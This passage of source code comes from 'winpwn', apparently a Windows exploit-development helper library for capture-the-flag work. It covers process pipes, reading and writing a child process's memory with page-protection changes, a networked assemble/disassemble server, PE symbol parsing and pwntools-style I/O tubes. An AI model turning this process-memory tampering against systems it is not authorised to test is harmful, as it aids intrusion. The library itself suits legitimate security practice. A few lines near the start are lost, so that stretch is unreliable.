rs3=windll.kernel32.SetHandleInformation(hReadPipe.value,HANDLE_FLAG_INHERIT,0) 127 | rs4=windll.kernel32.SetHandleInformation(hWritePipe.value,HANDLE_FLAG_INHERIT,0) 128 | 129 | if(rs1 and rs2 and rs3 and rs4): 130 | return (hReadPipe.value,hWritePipe.value,child_hReadPipe.value,child_hWritePipe.value) 131 | else: 132 | raise(EOFError(color("[-]: Create Pipe error",'red'))) 133 | 134 | def read(self,n,timeout=None): 135 | def count(): 136 | byteAvail=wintypes.DWORD() 137 | x=windll.kernel32.PeekNamedPipe(self.hReadPipe,0,0,0,byref(byteAvail),0) 138 | return byteAvail.value 139 | if timeout is None: 140 | if self.timeout: 141 | timeout=self.timeout 142 | else: 143 | timeout=context.timeout 144 | x_time=0 145 | if count()0: 153 | windll.kernel32.ReadFile(self.hReadPipe,buf,cn,byref(beenRead),None) 154 | return Latin1_decode(buf.raw) 155 | 156 | def write(self,buf=''): 157 | buf=Latin1_encode(buf) 158 | length=len(buf) 159 | written=wintypes.DWORD() 160 | x=windll.kernel32.WriteFile(self.hWritePipe,buf,length,byref(written),None) 161 | if x==0: 162 | raise(EOFError()) 163 | return written.value 164 | 165 | def getHandle(self): 166 | return (self.hReadPipe,self.hWritePipe,self.child_hReadPipe,self.child_hWritePipe) 167 | 168 | def close(self): 169 | # windll.kernel32.CloseHandle(self.child_hReadPipe) 170 | # windll.kernel32.CloseHandle(self.child_hWritePipe) 171 | windll.kernel32.CloseHandle(self.hReadPipe) 172 | windll.kernel32.CloseHandle(self.hWritePipe) 173 | 174 | class winProcess(object): 175 | def __init__(self,argv,cwd=None,flags=0): 176 | self.pipe=winPipe() 177 | self.hReadPipe,self.hWritePipe,self.child_hReadPipe,self.child_hWritePipe=self.pipe.getHandle() 178 | self.pid=0 179 | self.phandle=0 180 | self.tid=0 181 | self.thandle=0 182 | self.create(argv,cwd,flags) 183 | def create(self,argv,cwd=None,flags=None): 184 | lpCurrentDirectory=cwd 185 | lpEnvironment=None 186 | dwCreationFlags=flags 187 | bInheritHandles=True 188 | lpProcessAttributes=None 189 | lpThreadAttributes=None 190 | 191 | lpProcessInformation = PROCESS_INFORMATION() 192 | 193 | StartupInfo = STARTUPINFO() 194 | StartupInfo.cb = sizeof(StartupInfo) 195 | 196 | StartupInfo.dwFlags = STARTF_USESTDHANDLES 197 | StartupInfo.hStdInput = self.child_hReadPipe 198 | StartupInfo.hStdOutput =self.child_hWritePipe 199 | StartupInfo.hStdError = self.child_hWritePipe 200 | 201 | lpStartupInfo = byref(StartupInfo) 202 | 203 | lpCommandLine = None 204 | lpApplicationName = None 205 | 206 | if not isinstance(argv,list): 207 | lpApplicationName = Latin1_encode(argv) 208 | else: 209 | lpCommandLine = Latin1_encode((" ".join([str(a) for a in argv]))) 210 | try: 211 | bs=windll.kernel32.CreateProcessA( 212 | lpApplicationName, 213 | lpCommandLine, 214 | lpProcessAttributes, 215 | lpThreadAttributes, 216 | bInheritHandles, 217 | dwCreationFlags, 218 | lpEnvironment, 219 | lpCurrentDirectory, 220 | byref(StartupInfo), 221 | byref(lpProcessInformation) 222 | ) 223 | self.pid=lpProcessInformation.dwProcessId 224 | self.phandle=lpProcessInformation.hProcess 225 | self.tid=lpProcessInformation.dwThreadId 226 | self.thandle=lpProcessInformation.hThread 227 | showbanner('Create process success #pid 0x{:x}'.format(self.pid)) 228 | except: 229 | raise(EOFError(color("[-]: Create process error",'red'))) 230 | 231 | def read(self,n,timeout=None): 232 | return self.pipe.read(n,timeout=timeout) 233 | def write(self,buf): 234 | return self.pipe.write(buf) 235 | def is_exit(self): 236 | x=wintypes.DWORD() 237 | n=windll.kernel32.GetExitCodeProcess(self.phandle,byref(x)) 238 | if n!=0 and x.value==STILL_ACTIVE: 239 | return False 240 | return True 241 | def close(self): # need to kill process .............. 242 | self.pipe.close() 243 | windll.kernel32.TerminateProcess(self.phandle,1) 244 | def readm(self,addr,n): 245 | addr=c_size_t(addr) 246 | handle=windll.kernel32.OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION,0,self.pid) 247 | oldprotect=wintypes.DWORD() 248 | x=windll.kernel32.VirtualProtectEx(handle,addr,n,PAGE_READWRITE,byref(oldprotect)) 249 | 250 | buf=create_string_buffer(n) 251 | 252 | x=windll.kernel32.ReadProcessMemory(handle,addr,buf,n,0) 253 | if x==0: 254 | raise(MemoryError) 255 | 256 | windll.kernel32.VirtualProtectEx(handle,addr,n,oldprotect.value,0) 257 | windll.kernel32.CloseHandle(handle) 258 | 259 | return Latin1_decode(buf.raw) 260 | 261 | def writem(self,addr,buf): 262 | buf=Latin1_encode(buf) 263 | addr=c_size_t(addr) 264 | n=len(buf) 265 | # print(n) 266 | handle=windll.kernel32.OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION,0,self.pid) 267 | 268 | oldprotect=wintypes.DWORD() 269 | x=windll.kernel32.VirtualProtectEx(handle,addr,n,PAGE_READWRITE,byref(oldprotect)) 270 | written=c_size_t(0) 271 | x=windll.kernel32.WriteProcessMemory(handle,addr,buf,n,byref(written)) 272 | if x==0: 273 | raise(MemoryError) 274 | 275 | windll.kernel32.VirtualProtectEx(handle,addr,n,oldprotect.value,0) 276 | windll.kernel32.CloseHandle(handle) 277 | 278 | return written.value -------------------------------------------------------------------------------- /winpwn/wincs.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import os 4 | import sys 5 | 6 | from .winpwn import remote 7 | from .asm import asm as ASM 8 | from .asm import disasm as DISASM 9 | from .misc import u32,p32,u64,p64,Latin1_encode,Latin1_decode,showbanner,showbuf,color 10 | from .context import context 11 | 12 | class wincs(): 13 | def __init__(self,ip=None,port=512): 14 | self.wins=None 15 | self.winc=None 16 | if ip is None: # server 17 | self.wins = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | self.wins.bind((socket.gethostname(), port)) 19 | self.wins.listen(5) 20 | threading.Thread(target=self.__winser_thread).start() 21 | else: # client 22 | self.winc=remote(ip,port) 23 | def __winser_thread(self): 24 | try: 25 | while(True): 26 | (conn, client) = self.wins.accept() # need to used select not accept. 27 | threading.Thread(target=self.__handle_conn,args=(conn, client)).start() 28 | except KeyboardInterrupt: 29 | raise(EOFError(color("[-]: Exited by CTRL+C",'red'))) 30 | 31 | def __handle_conn(self,conn,client): 32 | # (conn, client) = args 33 | while(1): 34 | # [0:1]-> opcode; 35 | opcode=Latin1_decode(conn.recv(1)) 36 | if opcode=='': 37 | showbanner('wincs connection of {} closed'.format(client),'yellow','[-]') 38 | return 39 | if opcode=='\x03': 40 | self.wins.close() 41 | showbanner('wincs server closed','yellow','[-]') 42 | # raise(EOFError(color("[-]: wincs server closed",'red'))) 43 | quit() 44 | else: 45 | # [0:1]->opcode; [1:5]->arch; [5:13]->addr [13:22]->length; [22:22+length]->asmcode/machinecode 46 | arch=Latin1_decode(conn.recv(4)) 47 | addr=u64(Latin1_decode(conn.recv(8))) 48 | length=u32(Latin1_decode(conn.recv(4))) 49 | code=Latin1_decode(conn.recv(length)) 50 | is_asm=opcode=='\x01' 51 | if is_asm: 52 | markstr='asm' 53 | else: 54 | markstr='disasm' 55 | showbanner('wincs '+markstr) 56 | showbuf(code) 57 | if is_asm: 58 | rs=ASM(code,addr=addr,arch=arch) 59 | else: 60 | rs=DISASM(code,addr=addr,arch=arch) 61 | showbanner('wincs '+markstr+' result') 62 | showbuf(rs) 63 | conn.send( 64 | Latin1_encode( 65 | p32(len(rs))+rs 66 | ) 67 | ) 68 | 69 | def __asm_disasm(self,code,addr,arch=None,is_asm=True): 70 | if arch is None: 71 | arch=context.arch 72 | if is_asm: 73 | markstr='asm' 74 | opcode='\x01' 75 | else: 76 | markstr='disasm' 77 | opcode='\x02' 78 | showbanner(markstr) 79 | showbuf(code) 80 | 81 | self.winc.write( 82 | opcode+arch.ljust(4,'\x00')+p64(addr)+p32(len(code))+code 83 | ) 84 | rs=self.winc.read( 85 | u32(self.winc.read(4)) 86 | ) 87 | showbanner(markstr+' result') 88 | showbuf(rs) 89 | return rs 90 | 91 | def asm(self,asmcode,addr=0,arch=None): 92 | return self.__asm_disasm(code=asmcode,addr=addr,arch=arch,is_asm=True) 93 | def disasm(self,machinecode,addr=0,arch=None): 94 | return self.__asm_disasm(code=machinecode,addr=addr,arch=arch,is_asm=False) 95 | def close(self): # just close connect 96 | self.winc.close() 97 | def close_server(self): 98 | self.winc.send('\x03') -------------------------------------------------------------------------------- /winpwn/winfile.py: -------------------------------------------------------------------------------- 1 | from .misc import Latin1_decode 2 | 3 | class winfile(object): 4 | def __init__(self,fpath=""): 5 | self._address=0 6 | self.imsyms={} 7 | self.exsyms={} 8 | self.symbols={} 9 | self.update(fpath) 10 | def update(self,fpath): 11 | import pefile 12 | pe=pefile.PE(fpath) 13 | if hasattr(pe,"DIRECTORY_ENTRY_IMPORT"): 14 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 15 | # l={} 16 | # print(entry.dll) 17 | for imp in entry.imports: 18 | self.imsyms.update({ 19 | Latin1_decode(imp.name):self._address+imp.address-pe.OPTIONAL_HEADER.ImageBase, 20 | } 21 | ) 22 | if hasattr(pe,"DIRECTORY_ENTRY_EXPORT"): 23 | for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: 24 | # print(hex(pe.DIRECTORY_ENTRY_EXPORT.struct.AddressOfFunctions+4*(exp.ordinal-1))) 25 | # print(hex(exp.address)) # EAT element value 26 | # print(exp.name) # str: funcname 27 | self.exsyms.update({ 28 | Latin1_decode(exp.name):self._address+pe.DIRECTORY_ENTRY_EXPORT.struct.AddressOfFunctions+4*(exp.ordinal-1) 29 | } 30 | ) 31 | self.symbols.update(self.exsyms) 32 | self.symbols.update(self.imsyms) 33 | 34 | @property 35 | def address(self): 36 | return self._address 37 | @address.setter 38 | def address(self,base): 39 | self._address=base 40 | for sym in self.imsyms: 41 | self.imsyms.update({sym:base+self.imsyms[sym]}) 42 | for sym in self.exsyms: 43 | self.exsyms.update({sym:base+self.exsyms[sym]}) 44 | self.symbols.update(self.exsyms) 45 | self.symbols.update(self.imsyms) 46 | 47 | 48 | -------------------------------------------------------------------------------- /winpwn/winpwn.py: -------------------------------------------------------------------------------- 1 | # -*- coding=Latin1 -*- 2 | import platform 3 | 4 | import threading 5 | import sys 6 | import socket 7 | import time 8 | import os 9 | 10 | from .win import winProcess 11 | from .context import context 12 | from .misc import Latin1_encode,Latin1_decode,NOPIE,PIE,color,showbanner,showbuf 13 | 14 | class tube(object): 15 | def __init__(self): 16 | self._timeout=context.timeout 17 | self.debugger=None 18 | 19 | def read(self,n,timeout=None,interactive=False): 20 | pass 21 | def write(self,buf): 22 | pass 23 | def is_exit(self,buf): 24 | pass 25 | @property 26 | def timeout(self): 27 | return self._timeout 28 | @timeout.setter 29 | def timeout(self,timeout): 30 | pass 31 | def send(self,buf): 32 | showbanner('Send') 33 | rs=self.write(buf) 34 | showbuf(buf) 35 | return rs 36 | 37 | def sendline(self,buf,newline=None): 38 | if newline is None: 39 | newline=context.newline 40 | return self.send(buf+newline) 41 | 42 | def recv(self,n,timeout=None): 43 | # try to read n bytes, no exception 44 | showbanner('Recv') 45 | buf=self.read(n, timeout) 46 | showbuf(buf) 47 | return buf 48 | 49 | def recvn(self,n,timeout=None): 50 | # must recv n bytes within timeout 51 | showbanner("Recv") 52 | buf = self.read(n, timeout) 53 | if len(buf) != n: 54 | raise(EOFError(color("[-]: Timeout when use recvn",'red'))) 55 | showbuf(buf) 56 | return buf 57 | 58 | def recvuntil(self,delim,timeout=None): 59 | showbanner("Recv") 60 | if timeout is None: 61 | if self.timeout: 62 | timeout=self.timeout 63 | else: 64 | timeout=context.timeout 65 | buf = '' 66 | st=time.time() 67 | xt=st 68 | while (buf[-len(delim):]!=delim): 69 | buf += self.read(1, timeout=timeout-(xt-st)) 70 | if self.debugger is None: 71 | xt=time.time() 72 | if (xt-st)>=timeout: 73 | break 74 | if not buf.endswith(delim): 75 | raise(EOFError(color("[-]: Recvuntil error",'red'))) 76 | showbuf(buf) 77 | return buf 78 | 79 | def recvline(self,timeout=None,newline=None): 80 | if newline is None: 81 | newline=context.newline 82 | return self.recvuntil(newline) 83 | 84 | def recvall(self,timeout=None): 85 | showbanner('Recv') 86 | buf=self.read(0x100000, timeout) 87 | showbuf(buf) 88 | return buf 89 | 90 | # based on read/write 91 | def interactive(self): 92 | # it exited, contrl+C, timeout 93 | showbanner('Interacting',is_noout=False) 94 | go = threading.Event() 95 | go.clear() 96 | def recv_thread(): 97 | try: 98 | while not go.is_set(): 99 | buf = self.read(0x10000,0.125,interactive=True) 100 | if buf: 101 | showbuf(buf,is_noout=False) 102 | showbanner('Interacting',is_noout=False) 103 | go.wait(0.2) 104 | except KeyboardInterrupt: 105 | go.set() 106 | print(color('[-]: Exited','red')) 107 | t = threading.Thread(target = recv_thread) 108 | t.daemon = True 109 | t.start() 110 | 111 | try: 112 | while not go.is_set(): 113 | go.wait(0.2) 114 | try: 115 | if self.is_exit(): 116 | time.sleep(0.2) # wait for time to read output 117 | buf = sys.stdin.readline() 118 | if buf: 119 | self.write(buf) # remote.write() may cause exception 120 | except: 121 | go.set() 122 | print(color('[-]: Exited','red')) 123 | break 124 | except KeyboardInterrupt: # control+C 125 | go.set() 126 | print(color('[-]: Exited','red')) 127 | while t.is_alive(): 128 | t.join(timeout = 0.1) 129 | 130 | class remote(tube): 131 | def __init__(self, ip, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM): 132 | tube.__init__(self) 133 | self.sock = socket.socket(family, socktype) 134 | # self.ip = ip 135 | # self.port = port 136 | self._is_exit=False 137 | try: 138 | showbanner("Connecting to ({},{})".format(ip,port)) 139 | self.sock.settimeout(self.timeout) 140 | self.sock.connect((ip, port)) 141 | except: 142 | raise(EOFError(color("[-]: Connect to ({},{}) failed".format(ip,port),'red'))) 143 | def read(self,n,timeout=None,interactive=False): 144 | if timeout is not None: 145 | self.sock.settimeout(timeout) 146 | buf=b'' 147 | try: 148 | buf=self.sock.recv(n) # ignore timeout error 149 | except KeyboardInterrupt: 150 | self.close() 151 | raise(EOFError(color("[-]: Exited by CTRL+C",'red'))) 152 | except: 153 | pass 154 | self.sock.settimeout(self.timeout) 155 | return Latin1_decode(buf) 156 | def write(self,buf): 157 | return self.sock.send(Latin1_encode(buf)) 158 | def close(self): 159 | self.sock.close() 160 | self._is_exit=True 161 | def is_exit(self): 162 | if self._is_exit: 163 | return True 164 | return False 165 | @tube.timeout.setter 166 | def timeout(self,timeout): 167 | self._timeout=timeout 168 | self.sock.settimeout(self._timeout) 169 | 170 | class process(tube): 171 | def __init__(self,argv,cwd=None,flags=None): 172 | tube.__init__(self) 173 | # en/disable PIE, need: pip install pefile 174 | if context.pie is not None: 175 | fpath="" 176 | if not isinstance(argv,list): 177 | fpath=argv 178 | else: 179 | fpath=argv[0] 180 | if context.pie: 181 | PIE(fpath) 182 | else: 183 | NOPIE(fpath) 184 | self.Process=winProcess(argv,cwd,flags) 185 | self.pid=self.Process.pid 186 | def read(self,n,timeout=None,interactive=False): 187 | buf='' 188 | try: 189 | if self.debugger is not None and interactive is False: 190 | while(len(buf)!=n): 191 | buf+=self.Process.read(n-len(buf),timeout) 192 | else: 193 | buf=self.Process.read(n, timeout) 194 | except KeyboardInterrupt: 195 | self.close() 196 | raise(EOFError(color("[-]: Exited by CTRL+C",'red'))) 197 | return buf 198 | def write(self, buf): 199 | return self.Process.write(buf) 200 | def readm(self,addr,n): 201 | return self.Process.readm(addr,n) 202 | def writem(self,addr,con): 203 | return self.Process.writem(addr,con) 204 | def close(self): 205 | self.Process.close() # need to kill process 206 | def is_exit(self): 207 | return self.Process.is_exit() 208 | @tube.timeout.setter 209 | def timeout(self,timeout): 210 | self._timeout=timeout 211 | self.Process.pipe.timeout=timeout --------------------------------------------------------------------------------